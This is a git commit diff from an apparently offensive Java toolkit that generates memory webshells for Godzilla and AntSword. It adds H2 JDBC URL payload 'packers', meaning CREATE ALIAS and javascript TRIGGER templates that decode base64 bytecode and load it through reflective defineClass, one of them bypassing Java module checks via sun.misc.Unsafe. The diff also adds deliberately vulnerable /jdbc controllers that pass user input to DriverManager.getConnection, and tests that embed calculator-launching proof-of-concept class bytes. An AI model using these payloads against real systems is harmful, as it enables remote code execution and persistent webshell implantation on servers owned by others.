feat: support H2 packer

This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent bb4bcb956c
commit db96872fa4
22 changed files with 341 additions and 10 deletions
@@ -17,8 +17,7 @@ class ScriptEnginePackerTest {
GenerateResult generateResult = GenerateResult.builder()
.injectorClassName("hehe")
.injectorBytesBase64Str("hehe").build();
String jsContent = new String(new ScriptEnginePacker().pack(generateResult.toClassPackerConfig()));
System.out.println(jsContent);
String jsContent = new ScriptEnginePacker().pack(generateResult.toClassPackerConfig());
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
}
}
+1 -1
View File
@@ -1,2 +1,2 @@
#!/bin/bash
jps | grep -E "jar" | awk '{print $1}' | tr -d '\n'
pgrep -a java | awk '{print $1}' | tr -d '\n'
@@ -348,6 +348,7 @@ public class ShellAssertionTool {
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
case Base64 -> VulTool.postData(url + "/b64", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content);
default -> throw new IllegalStateException("Unexpected value: " + packer);
}
}
@@ -58,13 +58,14 @@ public class SpringBoot2ContainerTest {
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@@ -92,7 +93,7 @@ public class SpringBoot2ContainerTest {
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -56,7 +56,7 @@ public class SpringBoot3ContainerTest {
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
);
List<Packers> testPackers = List.of(Packers.Base64);
List<Packers> testPackers = List.of(Packers.Base64, Packers.H2);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
}
@@ -91,7 +91,7 @@ public class SpringBoot3ContainerTest {
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.Base64);
List<Packers> testPackers = List.of(Packers.Base64, Packers.H2);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
}
@@ -50,6 +50,7 @@ public class Tomcat8ExpressionContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
@@ -15,6 +15,9 @@ import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
import com.reajason.javaweb.packer.groovy.GroovyPacker;
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
import com.reajason.javaweb.packer.h2.H2JSPacker;
import com.reajason.javaweb.packer.h2.H2JavacPacker;
import com.reajason.javaweb.packer.h2.H2Packer;
import com.reajason.javaweb.packer.jar.AgentJarPacker;
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
@@ -125,6 +128,10 @@ public enum Packers {
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
H2(new H2Packer()),
H2Javac(new H2JavacPacker(), H2Packer.class),
H2JS(new H2JSPacker(), H2Packer.class),
XxlJob(new XxlJobPacker()),
;
private final Packer instance;
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.h2;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2025/6/28
*/
public class H2JSPacker implements Packer {
String template = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n{{script}}$$";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script.replaceAll(";", "\\\\;"));
}
}
@@ -0,0 +1,61 @@
package com.reajason.javaweb.packer.h2;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
/**
* @author ReaJason
* @since 2025/6/28
*/
public class H2JavacPacker implements Packer {
String template = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
"String a(String a) throws java.lang.Throwable{" +
"byte[] bytes=null\\;" +
"String base64Str=\"{{base64Str}}\"\\;" +
"try {\n" +
" bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
"} catch (java.lang.Throwable var6) {\n" +
" bytes = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;\n" +
"}" +
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
"defMethod.setAccessible(true)\\;" +
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
"myclass.newInstance()\\;" +
"return null\\;" +
"}'\\;" +
"CALL look('')";
String bypassTemplate = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
"String a(String a) throws java.lang.Throwable{" +
"String base64Str=\"{{base64Str}}\"\\;" +
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
"try {" +
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
" unsafeField.setAccessible(true)\\;" +
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
"} catch (Throwable e) {}" +
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
"defMethod.setAccessible(true)\\;" +
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
"myclass.newInstance()\\;" +
"return null\\;" +
"}'\\;" +
"CALL look('')";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
if (config.isByPassJavaModule()) {
return bypassTemplate.replace("{{base64Str}}", config.getClassBytesBase64Str());
}
return template.replace("{{base64Str}}", config.getClassBytesBase64Str());
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.packer.h2;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/6/28
*/
public class H2Packer implements AggregatePacker {
}
@@ -27,7 +27,7 @@ public class ScriptEnginePacker implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return jsTemplate.replace("{{className}}", config.getClassName())
return jsTemplate
.replace("{{base64Str}}", config.getClassBytesBase64Str())
.replace("\n", "")
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
@@ -0,0 +1,21 @@
package com.reajason.javaweb.packer.h2;
import com.reajason.javaweb.packer.ClassPackerConfig;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
/**
* @author ReaJason
* @since 2025/6/28
*/
class H2JSPackerTest {
@Test
void test() {
H2JSPacker h2JSPacker = new H2JSPacker();
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
classPackerConfig.setClassBytesBase64Str("bebe");
System.out.println(h2JSPacker.pack(classPackerConfig));
}
}
+3 -1
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@@ -1,6 +1,8 @@
FROM openjdk:8
FROM openjdk:8-jre
WORKDIR /app
RUN apt-get update && apt-get install -y procps && rm -rf /var/lib/apt/lists/*
COPY build/libs/vul-springboot2.jar /app/app.jar
EXPOSE 8080
+8
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@@ -6,6 +6,10 @@ plugins {
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
targetCompatibility = JavaVersion.VERSION_1_8
sourceCompatibility = JavaVersion.VERSION_1_8
}
@@ -15,6 +19,10 @@ dependencies {
implementation("net.bytebuddy:byte-buddy:1.10.10")
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
testImplementation("org.springframework.boot:spring-boot-starter-test")
testImplementation("org.junit.jupiter:junit-jupiter-api")
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
runtimeOnly("com.h2database:h2")
}
tasks.test {
@@ -0,0 +1,31 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
/**
* @author ReaJason
* @since 2025/6/27
*/
@RestController
public class JDBCController {
@PostMapping("/jdbc")
public void JDBC(String data) throws Exception {
try {
Connection connection = DriverManager.getConnection(data);
connection.close();
} catch (Throwable e) {
Throwable ex = e.getCause();
while (ex.getCause() != null) {
ex = ex.getCause();
}
if (!(ex instanceof ClassCastException)) {
throw e;
}
}
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.vul.springboot2.controller;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/6/27
*/
public class CommandExec {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
}
}
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/6/28
*/
class JDBCControllerTest {
@Test
void testJDBC() throws Exception {
JDBCController jdbcController = new JDBCController();
String b64Bytecode = "yv66vgAAADQAIQoABwAUCgAVABYIABcKABUAGAcAGQcAGgcAGwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA9TGNvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBABBDb21tYW5kRXhlYy5qYXZhDAAIAAkHABwMAB0AHgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHwAgAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAgADwAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAMAAkADwAMAA0ADQAQAAwAAAACAAAAEAAAAAcAAkwHABEAAAEAEgAAAAIAEw==";
String ss = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
"String a(String a) throws java.lang.Exception{" +
"byte[] bytes=null\\;" +
"String base64Str=\"" + b64Bytecode + "\"\\;" +
" try {\n" +
" bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
" } catch (java.lang.Exception var6) {\n" +
" bytes = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;\n" +
" }" +
"java.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
"defineClassMethod.setAccessible(true)\\;" +
"java.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
"myclass.newInstance()\\;" +
"return null\\;" +
"}'\\;" +
"CALL look('')";
jdbcController.JDBC(ss);
}
@Test
void testScriptJDBC() throws Exception {
JDBCController jdbcController = new JDBCController();
String b64Bytecode = "yv66vgAAADQAIQoABwAUCgAVABYIABcKABUAGAcAGQcAGgcAGwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA9TGNvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBABBDb21tYW5kRXhlYy5qYXZhDAAIAAkHABwMAB0AHgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHwAgAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAgADwAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAMAAkADwAMAA0ADQAQAAwAAAACAAAAEAAAAAcAAkwHABEAAAEAEgAAAAIAEw==";
String ss = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"var base64Str = \"" + b64Bytecode + "\"\\;var bytecode\\;try { bytecode = java.util.Base64.getDecoder().decode(base64Str)\\;} catch (ee) { bytecode = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;}var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass())\\;var clsInt = java.lang.Integer.TYPE\\;var defineClass = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", [clsByteArray, clsInt, clsInt])\\;defineClass.setAccessible(true)\\;var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length))\\;clazz.newInstance()\\;$$";
jdbcController.JDBC(ss);
}
}
+9
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@@ -14,4 +14,13 @@ java {
dependencies {
implementation("org.springframework.boot:spring-boot-starter-web")
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
testImplementation("org.springframework.boot:spring-boot-starter-test")
testImplementation("org.junit.jupiter:junit-jupiter-api")
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
runtimeOnly("com.h2database:h2")
}
tasks.test {
useJUnitPlatform()
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.vul.springboot3.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
/**
* @author ReaJason
* @since 2025/6/27
*/
@RestController
public class JDBCController {
@PostMapping("/jdbc")
public void JDBC(String data) throws Exception {
try {
Connection connection = DriverManager.getConnection(data);
connection.close();
} catch (Throwable e) {
Throwable ex = e.getCause();
while (ex.getCause() != null) {
ex = ex.getCause();
}
if (!(ex instanceof ClassCastException)) {
throw e;
}
}
}
}
@@ -0,0 +1,15 @@
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/6/27
*/
public class CommandExec {
static {
try {
java.lang.Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
}
}
}
@@ -0,0 +1,54 @@
import com.reajason.javaweb.vul.springboot3.controller.JDBCController;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/6/27
*/
public class JDBCTest {
@Test
void testJDBC() throws Exception {
JDBCController jdbcController = new JDBCController();
String funcionName = "testJDBC";
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" +
"String shellexec(String abc) throws java.lang.Exception{" +
"java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" +
"return \"test\"\\;" +
"}'\\;" +
"CALL " + funcionName + "('123')";
jdbcController.JDBC(str);
}
@Test
void testJDBC2() throws Exception {
JDBCController jdbcController = new JDBCController();
String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw==";
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
"String a(String a) throws java.lang.Throwable{" +
"String base64Str=\"" + b64Bytecode + "\"\\;" +
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
"try {" +
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
" unsafeField.setAccessible(true)\\;" +
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
"} catch (Throwable e) {}" +
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
"defMethod.setAccessible(true)\\;" +
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
"myclass.newInstance()\\;" +
"return null\\;" +
"}'\\;" +
"CALL look('')";
System.out.println(str);
jdbcController.JDBC(str);
}
}
+2 -1
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@@ -67,7 +67,8 @@
"Velocity": "Velocity",
"XxlJob": "XXL-JOB Executor",
"AgentJarWithJDKAttacher": "AgentJarWithJDKAttacher",
"AgentJarWithJREAttacher": "AgentJarWithJREAttacher"
"AgentJarWithJREAttacher": "AgentJarWithJREAttacher",
"H2": "H2 JDBC"
},
"title": "Package Method"
},